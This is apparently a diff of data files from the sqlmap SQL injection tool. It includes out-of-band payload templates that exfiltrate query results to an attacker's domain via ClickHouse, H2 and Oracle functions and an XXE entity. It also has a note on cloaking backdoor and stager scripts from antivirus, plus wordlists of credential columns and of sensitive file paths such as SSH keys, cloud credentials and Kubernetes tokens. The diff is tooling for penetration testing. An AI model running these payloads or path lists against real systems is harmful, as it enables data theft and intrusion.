.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')
+2
View File
@@ -0,0 +1,2 @@
SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')
+1
View File
@@ -1,2 +1,3 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual
+3 -3
View File
@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+163 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
id
@@ -485,6 +485,8 @@ llave
chaveta
tono
cuna
correo
contrasenia
# german
@@ -798,7 +800,9 @@ news
nick
number
nummer
passhash
pass_hash
password_hash
passwordsalt
personal_key
phone
@@ -1840,6 +1844,10 @@ banner_id
error
language_id
val
parol
familiya
imya
otchestvo
# site:jp
@@ -2670,6 +2678,7 @@ jeda
jenis
jml
judul
jumlah
kata_kunci
kata_sandi
katakunci
@@ -2682,6 +2691,7 @@ kunci
lahir
nama
nama_akun
nama_ibu_kandung
nama_pengguna
namaakun
namapengguna
@@ -2691,6 +2701,7 @@ pengguna
penjelasan
perusahaan
ponsel
profesi
ruang
sandi
soal
@@ -2698,6 +2709,7 @@ surat_elektronik
surel
tanggal
tanggal_lahir
telepon
tempat
tempat_lahir
tmp_lahir
@@ -2723,6 +2735,156 @@ ssn
account
confidential
# site:nl
naam
straat
gemeente
beschrijving
id_gebruiker
gebruiker_id
gebruikersnaam
wachtwoord
telefoon
voornaam
achternaam
geslacht
huisnummer
gemeente
leeftijd
# site:cn
yonghuming
mima
xingming
xingbie
touxiang
youxiang
shouji
# Misc
u_pass
hashedPw
# API keys, tokens and secrets
api_key
apikey
api_token
access_token
refresh_token
auth_token
session_token
remember_token
secret_key
client_secret
encryption_key
reset_token
password_reset_token
verification_token
confirmation_token
otp
otp_secret
totp_secret
mfa_secret
two_factor_secret
# Framework and identity columns
deleted_at
uuid
role
is_admin
is_active
is_verified
date_of_birth
dob
credit_card
postal_code
# password (international)
adgangskode
aikotoba
amho
bimilbeonho
codewort
contrasena
contrasenya
contrasinal
esmeramz
facalfare
fjalekalim
focalfaire
gagtnabar
geslo
gozarvazhe
gunho
haslo
heslo
hudyat
igamalokungena
iphasiwedi
javka
jelszo
kadavucol
kalameobur
kalimatumurur
kalimatusirr
kalmarsirri
katalaluan
katasandi
kennwort
kodeord
kodikos
kouling
kupiasoz
kupuhipa
kupukaranga
kupuuru
kupuwhakahipa
losen
losenord
lozinka
lykilord
matkhau
mima
nenosiri
nywila
okwuntughe
oroasina
oroigbaniwole
paeseuwodeu
parol
parola
parolachiave
paroladordine
parole
paroli
parolja
parool
parulle
pasahitza
pasfhocal
pasowardo
passord
passwort
pasuwado
pasvorto
rahatphan
ramzobur
salasana
salasona
santoysena
senha
sifra
sifre
sisma
slaptazodis
synthimatiko
tunnussana
wachtwoord
wachtwurd
wagwoord
+118 -68
View File
@@ -1,6 +1,12 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# CTFs
/flag
/flag.txt
/readflag
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
/apache/logs/access.log
@@ -679,17 +685,6 @@
/.htaccess
/.htpasswd
/[jboss]/server/default/conf/jboss-minimal.xml
/[jboss]/server/default/conf/jboss-service.xml
/[jboss]/server/default/conf/jndi.properties
/[jboss]/server/default/conf/log4j.xml
/[jboss]/server/default/conf/login-config.xml
/[jboss]/server/default/conf/server.log.properties
/[jboss]/server/default/conf/standardjaws.xml
/[jboss]/server/default/conf/standardjboss.xml
/[jboss]/server/default/deploy/jboss-logging.xml
/[jboss]/server/default/log/boot.log
/[jboss]/server/default/log/server.log
/access.log
/access_log
/apache/conf/httpd.conf
@@ -1024,17 +1019,17 @@
/mysql/my.cnf
/mysql/my.ini
/netserver/bin/stable/apache/php.ini
/opt/[jboss]/server/default/conf/jboss-minimal.xml
/opt/[jboss]/server/default/conf/jboss-service.xml
/opt/[jboss]/server/default/conf/jndi.properties
/opt/[jboss]/server/default/conf/log4j.xml
/opt/[jboss]/server/default/conf/login-config.xml
/opt/[jboss]/server/default/conf/server.log.properties
/opt/[jboss]/server/default/conf/standardjaws.xml
/opt/[jboss]/server/default/conf/standardjboss.xml
/opt/[jboss]/server/default/deploy/jboss-logging.xml
/opt/[jboss]/server/default/log/boot.log
/opt/[jboss]/server/default/log/server.log
/opt/jboss/server/default/conf/jboss-minimal.xml
/opt/jboss/server/default/conf/jboss-service.xml
/opt/jboss/server/default/conf/jndi.properties
/opt/jboss/server/default/conf/log4j.xml
/opt/jboss/server/default/conf/login-config.xml
/opt/jboss/server/default/conf/server.log.properties
/opt/jboss/server/default/conf/standardjaws.xml
/opt/jboss/server/default/conf/standardjboss.xml
/opt/jboss/server/default/deploy/jboss-logging.xml
/opt/jboss/server/default/log/boot.log
/opt/jboss/server/default/log/server.log
/opt/apache/apache.conf
/opt/apache/apache2.conf
/opt/apache/conf/apache.conf
@@ -1075,17 +1070,6 @@
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
/private/tmp/[jboss]/server/default/conf/jndi.properties
/private/tmp/[jboss]/server/default/conf/log4j.xml
/private/tmp/[jboss]/server/default/conf/login-config.xml
/private/tmp/[jboss]/server/default/conf/server.log.properties
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/private/tmp/[jboss]/server/default/log/boot.log
/private/tmp/[jboss]/server/default/log/server.log
/proc/cpuinfo
/proc/devices
/proc/meminfo
@@ -1114,17 +1098,17 @@
/proc/self/stat
/proc/self/status
/proc/version
/program files/[jboss]/server/default/conf/jboss-minimal.xml
/program files/[jboss]/server/default/conf/jboss-service.xml
/program files/[jboss]/server/default/conf/jndi.properties
/program files/[jboss]/server/default/conf/log4j.xml
/program files/[jboss]/server/default/conf/login-config.xml
/program files/[jboss]/server/default/conf/server.log.properties
/program files/[jboss]/server/default/conf/standardjaws.xml
/program files/[jboss]/server/default/conf/standardjboss.xml
/program files/[jboss]/server/default/deploy/jboss-logging.xml
/program files/[jboss]/server/default/log/boot.log
/program files/[jboss]/server/default/log/server.log
/program files/jboss/server/default/conf/jboss-minimal.xml
/program files/jboss/server/default/conf/jboss-service.xml
/program files/jboss/server/default/conf/jndi.properties
/program files/jboss/server/default/conf/log4j.xml
/program files/jboss/server/default/conf/login-config.xml
/program files/jboss/server/default/conf/server.log.properties
/program files/jboss/server/default/conf/standardjaws.xml
/program files/jboss/server/default/conf/standardjboss.xml
/program files/jboss/server/default/deploy/jboss-logging.xml
/program files/jboss/server/default/log/boot.log
/program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1161,17 @@
/system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_
/thttpd_log
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/tmp/[jboss]/server/default/conf/jboss-service.xml
/tmp/[jboss]/server/default/conf/jndi.properties
/tmp/[jboss]/server/default/conf/log4j.xml
/tmp/[jboss]/server/default/conf/login-config.xml
/tmp/[jboss]/server/default/conf/server.log.properties
/tmp/[jboss]/server/default/conf/standardjaws.xml
/tmp/[jboss]/server/default/conf/standardjboss.xml
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/tmp/[jboss]/server/default/log/boot.log
/tmp/[jboss]/server/default/log/server.log
/tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/jboss/server/default/conf/jboss-service.xml
/tmp/jboss/server/default/conf/jndi.properties
/tmp/jboss/server/default/conf/log4j.xml
/tmp/jboss/server/default/conf/login-config.xml
/tmp/jboss/server/default/conf/server.log.properties
/tmp/jboss/server/default/conf/standardjaws.xml
/tmp/jboss/server/default/conf/standardjboss.xml
/tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/jboss/server/default/log/boot.log
/tmp/jboss/server/default/log/server.log
/tmp/access.log
/tmp/sess_
/usr/apache/conf/httpd.conf
@@ -1202,17 +1186,17 @@
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
/usr/local/[jboss]/server/default/conf/jboss-service.xml
/usr/local/[jboss]/server/default/conf/jndi.properties
/usr/local/[jboss]/server/default/conf/log4j.xml
/usr/local/[jboss]/server/default/conf/login-config.xml
/usr/local/[jboss]/server/default/conf/server.log.properties
/usr/local/[jboss]/server/default/conf/standardjaws.xml
/usr/local/[jboss]/server/default/conf/standardjboss.xml
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
/usr/local/[jboss]/server/default/log/boot.log
/usr/local/[jboss]/server/default/log/server.log
/usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/jboss/server/default/conf/jndi.properties
/usr/local/jboss/server/default/conf/log4j.xml
/usr/local/jboss/server/default/conf/login-config.xml
/usr/local/jboss/server/default/conf/server.log.properties
/usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/jboss/server/default/log/boot.log
/usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf
/usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf
@@ -1740,6 +1724,7 @@
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/7.4/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
@@ -1801,4 +1786,69 @@
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/app/app.js
/app/configure.js
/app/config/config.json
/etc/grafana/grafana.ini
/opt/kibana/config/kibana.yml
/etc/kibana/kibana.yml
/etc/elasticsearch/elasticsearch.yml
# Containers and orchestration secrets
/.dockerenv
/proc/self/cgroup
/proc/1/cgroup
/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Cloud provider credentials
/root/.aws/credentials
/root/.aws/config
/root/.config/gcloud/application_default_credentials.json
/root/.config/gcloud/credentials.db
/root/.azure/accessTokens.json
/root/.kube/config
# SSH keys and DB/tool history
/root/.ssh/authorized_keys
/root/.ssh/id_ed25519
/root/.ssh/id_ecdsa
/root/.ssh/id_dsa
/root/.mysql_history
/root/.psql_history
/root/.rediscli_history
/root/.python_history
/root/.sqlite_history
# dotenv, VCS and app config under common web roots
/var/www/.env
/var/www/html/.env
/app/.env
/usr/share/nginx/html/.env
/var/www/html/.git/config
/var/www/html/.git/HEAD
/var/www/html/wp-config.php
/app/application.properties
/app/application.yml
/app/docker-compose.yml
File diff suppressed because it is too large Load Diff
+243
View File
@@ -0,0 +1,243 @@
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
id
page
q
query
search
s
keyword
keywords
name
username
user
uid
userid
email
mail
pass
password
pwd
token
key
apikey
api_key
access_token
auth
session
sid
sessionid
lang
language
locale
country
region
city
zip
sort
order
orderby
dir
direction
filter
category
cat
type
kind
class
group
tag
tags
status
state
action
act
cmd
command
op
operation
mode
method
func
function
callback
jsonp
format
output
view
tab
step
stage
debug
test
dev
admin
role
level
priv
file
filename
path
dir
folder
doc
document
url
uri
link
href
redirect
redirect_uri
return
returnurl
return_url
next
target
dest
destination
goto
continue
ref
referer
referrer
source
src
from
to
date
year
month
day
time
timestamp
start
end
begin
finish
limit
offset
count
num
number
size
length
width
height
amount
price
qty
quantity
value
val
data
input
content
text
msg
message
body
title
subject
description
desc
comment
note
code
hash
sig
signature
csrf
csrf_token
csrftoken
nonce
salt
enc
encrypt
decrypt
base64
json
xml
raw
echo
reflect
show
hide
display
render
template
tpl
theme
skin
style
color
font
image
img
photo
avatar
icon
banner
video
audio
media
attachment
upload
download
export
import
backup
restore
sync
refresh
reload
reset
clear
flush
purge
enable
disable
active
enabled
visible
public
private
locked
verified
confirmed
approved
product
item
sku
model
brand
vendor
seller
store
shop
cart
basket
checkout
payment
invoice
receipt
transaction
account
profile
member
customer
client
company
organization
org
department
team
project
task
job
event
booking
reservation
appointment
schedule
calendar
+380 -448
View File
File diff suppressed because it is too large Load Diff
+801 -366
View File
File diff suppressed because it is too large Load Diff
+6490 -1299
View File
File diff suppressed because it is too large Load Diff
+188 -4183
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+49 -6
View File
@@ -3,7 +3,7 @@
<root>
<!-- Windows -->
<regexp value="(Microsoft|Windows|Win32)">
<regexp value="(Microsoft|Windows|Win32|Win64|WOW64|Cygwin|MinGW)">
<info type="Windows"/>
</regexp>
@@ -34,7 +34,7 @@
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
<regexp value="Windows.*\b10\.0">
<info type="Windows" distrib="2016|10"/>
<info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
</regexp>
<regexp value="Windows.*\b6\.3">
@@ -151,7 +151,39 @@
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- Unices -->
<regexp value="\bAlpine\b">
<info type="Linux" distrib="Alpine"/>
</regexp>
<regexp value="Oracle ?Linux">
<info type="Linux" distrib="Oracle"/>
</regexp>
<regexp value="\bRHEL\b">
<info type="Linux" distrib="Red Hat"/>
</regexp>
<regexp value="Amazon Linux">
<info type="Linux" distrib="Amazon"/>
</regexp>
<regexp value="Raspbian">
<info type="Linux" distrib="Raspbian"/>
</regexp>
<regexp value="\bKali\b">
<info type="Linux" distrib="Kali"/>
</regexp>
<regexp value="Rocky Linux">
<info type="Linux" distrib="Rocky"/>
</regexp>
<regexp value="AlmaLinux">
<info type="Linux" distrib="Alma"/>
</regexp>
<!-- BSD -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
@@ -167,11 +199,22 @@
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]?OSX">
<regexp value="Mac[\-\_\ ]?OS ?X|macOS|Darwin">
<info type="Mac OSX"/>
</regexp>
<regexp value="Darwin">
<info type="Mac OSX"/>
<!-- *nix -->
<regexp value="SunOS|Solaris">
<info type="SunOS"/>
</regexp>
<regexp value="\bAIX\b">
<info type="AIX"/>
</regexp>
<regexp value="HP-UX|HPUX">
<info type="HP-UX"/>
</regexp>
</root>
+190
View File
@@ -1,5 +1,195 @@
<?xml version="1.0" ?>
<!--
Release/Service Pack anchors for SQL Server 2012-2022.
Each release leads with a coarse "major.minor" signature (matches any patch
level, so the product year is always resolved) followed by exact RTM/SP base
builds (last match wins, so the specific entry overrides the coarse fallback
and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
-->
<root>
<signatures release="2022">
<signature>
<version>
16.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
16.0.1000.6
</version>
<servicepack>
0
</servicepack>
</signature>
</signatures>
<signatures release="2019">
<signature>
<version>
15.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
15.0.2000.5
</version>
<servicepack>
0
</servicepack>
</signature>
</signatures>
<signatures release="2017">
<signature>
<version>
14.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
14.0.1000.169
</version>
<servicepack>
0
</servicepack>
</signature>
</signatures>
<signatures release="2016">
<signature>
<version>
13.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
13.0.1601.5
</version>
<servicepack>
0
</servicepack>
</signature>
<signature>
<version>
13.0.4001.0
</version>
<servicepack>
1
</servicepack>
</signature>
<signature>
<version>
13.0.5026.0
</version>
<servicepack>
2
</servicepack>
</signature>
<signature>
<version>
13.0.6300.2
</version>
<servicepack>
3
</servicepack>
</signature>
</signatures>
<signatures release="2014">
<signature>
<version>
12.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
12.0.2000.8
</version>
<servicepack>
0
</servicepack>
</signature>
<signature>
<version>
12.0.4100.1
</version>
<servicepack>
1
</servicepack>
</signature>
<signature>
<version>
12.0.5000.0
</version>
<servicepack>
2
</servicepack>
</signature>
<signature>
<version>
12.0.6024.0
</version>
<servicepack>
3
</servicepack>
</signature>
</signatures>
<signatures release="2012">
<signature>
<version>
11.0
</version>
<servicepack>
</servicepack>
</signature>
<signature>
<version>
11.0.2100.60
</version>
<servicepack>
0
</servicepack>
</signature>
<signature>
<version>
11.0.3000.0
</version>
<servicepack>
1
</servicepack>
</signature>
<signature>
<version>
11.0.5058.0
</version>
<servicepack>
2
</servicepack>
</signature>
<signature>
<version>
11.0.6020.0
</version>
<servicepack>
3
</servicepack>
</signature>
<signature>
<version>
11.0.7001.0
</version>
<servicepack>
4
</servicepack>
</signature>
</signatures>
<signatures release="2008 R2">
<signature>
<version>
+31
View File
@@ -3,6 +3,7 @@
<!--
References:
* https://en.wikipedia.org/wiki/Debian_version_history
* https://en.wikipedia.org/wiki/Ubuntu_version_history
-->
<root>
@@ -64,6 +65,10 @@
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
@@ -72,4 +77,30 @@
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
<!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
</regexp>
</root>
+106 -21
View File
@@ -3,14 +3,14 @@
<!--
References:
* https://en.wikipedia.org/wiki/Internet_Information_Services
* http://distrowatch.com
* https://distrowatch.com
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(10\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|2019|2022|10|11"/>
</regexp>
<regexp value="Microsoft-IIS/(8\.5)">
@@ -74,23 +74,31 @@
<!-- Apache: CentOS -->
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3.9"/>
<info type="Linux" distrib="CentOS" release="3"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4.9"/>
<info type="Linux" distrib="CentOS" release="4"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5.10"/>
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="6.8"/>
<info type="Linux" distrib="CentOS" release="6"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="7-1708"/>
<info type="Linux" distrib="CentOS" release="7"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="8"/>
</regexp>
<regexp value="Apache/2\.4\.48 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="9"/>
</regexp>
<!-- Apache: Debian -->
@@ -131,36 +139,36 @@
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
<info type="Linux" distrib="Debian" release="4" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Debian\)">
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
<info type="Linux" distrib="Debian" release="5" codename="lenny"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Debian\)">
<info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
<info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Debian\)">
<info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
<info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Debian\)">
<info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
<info type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Debian\)">
<info type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
<info type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Debian\)">
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<regexp value="Apache/2\.4\.48 \(Debian\)">
<info type="Linux" distrib="Debian" release="11" codename="bullseye"/>
</regexp>
<!-- Apache: Fedora -->
@@ -293,6 +301,35 @@
<info type="Linux" distrib="Fedora" release="27"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="28"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="29"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="30"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="31"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="32"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="33|34"/>
</regexp>
